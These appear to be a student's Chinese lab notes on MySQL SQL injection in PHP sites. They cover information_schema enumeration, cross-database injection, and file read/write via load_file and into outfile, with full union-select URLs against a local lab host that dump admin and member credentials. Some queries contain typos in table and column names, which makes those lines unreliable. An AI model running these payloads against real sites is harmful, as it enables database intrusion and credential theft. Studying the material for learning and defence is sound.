第四十二天
一、PHP-MYSQL-SQL注入-常规查询
1.PHP-MYSQL-Web组成架构
MySQL(统一管理)
root(自带默认)
网站A testA
网站B testB
MySQL(一对一管理)
testA用户
网站A testA
testB用户
网站B testB
access无数据库用户
mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
网站上面的数据库都在mysql中,由root或一对一用户去管理
服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理
1.统一交root用户管理
- 每个网站的数据库都由root用户统一管理
- 网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 root
- 网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 root
2.一对一用户管理(推荐)
-
自己的网站单独创建数据库用户去管理自己的数据库
-
网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库zblog用户 zblog
-
网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库demo用户 demo01
3.SQL注入
**原因:**就是对接收的参数值没有进行过滤,直接查询到了数据库
**攻击手法:**利用SQL语句执行查询你想要的东西(SQL语句能做什么你就能做什么)
**作用:**SQL语句由谁决定 => 数据库类型决定(为什么有MySQL注入、oracle注入叫法的原因)
**不同数据库的原因:**熟悉不同数据库的功能和SQL注入产生的影响
4.SQL注入流程
MYSQL注入:(目的获取当前web权限)
-
判断常见四个信息(系统,用户,数据库名,版本)
-
根据四个信息去选择方案
-
root用户:先测试读写,后测试获取数据
-
非root用户:直接测试获取数据
2.PHP-MYSQL-SQL常规查询
获取相关数据流程:
-
数据库版本-看是否符合information_schema查询-version(),版本大于5.0就可以查询到数据库下的数据库名及表名,列名信息的数据库
-
数据库用户-看是否符合ROOT型注入攻击-user()
-
当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os,Linux对大小写敏感
-
数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
二、PHP-MYSQL-SQL注入-跨库查询
1.跨库查询架构
Zblog
zbp_member
mem_Name,mem_Password
数据
2.跨库查询
-
数据库统一管理(root用户)
-
每个网站的数据库都由root用户统一管理
-
网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 zblog
-
网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 demo01
3.跨库注入
通过B网站的注入点获取A网站的账号密码
影响条件:当前数据库ROOT用户权限
,只有root用户才能进行跨库查询
**注入流程:**同常规查询
三、PHP-MYSQL-SQL注入-文件读写
1.影响条件
- 当前数据库用户权限
root
- secure-file-priv设置
测试不同数据库用户:root、demo
union select 1,load_file(‘d:\1.txt’),3,4,5,6
union select 1,‘xiaodi’,3,4,5,6 into outfile ‘d:\2.txt’
2.读写的路径的问题
-
报错显示获取路径
-
phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径读取有价值信息
3.编码绕过
-
如果限制了utf-8编码查询,可以改成16进制的
-
解决:单引号过滤绕过方式
-
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
四、环境复现
1.PHP-MYSQL-Web组成架构
2.PHP-MYSQL-SQL常规查询
根据MySQL数据库架构一步步进行查询
mysql
demo01
admin
username,password,id
数据
1.对数据库列数进行爆破
order by 6
:这是一个排序语句代表按照第6列进行排序,如果输入的值不是6,都会报错,只有输入6才会回显正确
2.爆出正确的列数之后进行联合查询寻找注入点
1.使用联合查询法看页面爆出的数字,这里爆出页面的4和5还有标签页的2,判断这里有注入点,如果没有爆出数字,那就在id=1这里改成id=-1让数据库进行报错,得到注入点
2.根据之前将的注入思路,对爆出的注入点进行数据库版本查询、数据库名查询、操作系统类型查询
3.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01'
查询tablename列的值,来源于information_schema.tables表,条件是列名要是固定是demo01的数据,不然数据太多无法判断,group_concat是用于显示全部信息的
4.从字面上理解admin列是最重要的,所以固定admin为接下来查询的内容
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'
查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)
5.之前所有的查询都是为了最后一步
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,username,password,6 from admin limit 0,1
这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码,以此类推可以查询第二行第三行的数据内容
3.PHP-MYSQL-SQL跨库查询
根据MySQL数据库架构一步步进行查询
Zblog
zbp_member
mem_Name,mem_Password
数据
1.获取mysql下所有数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
2.知道了数据库名之后对数据库列名进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'
3.爆出了很多列名,选取关键的zbp_member(像用户列表)进行查询
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'
4.最后的查询注意是跨库查询,所以在zbp_menber表前加上zblog数据库名
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,mem_Name,Password,6 from zblog.zbp_menber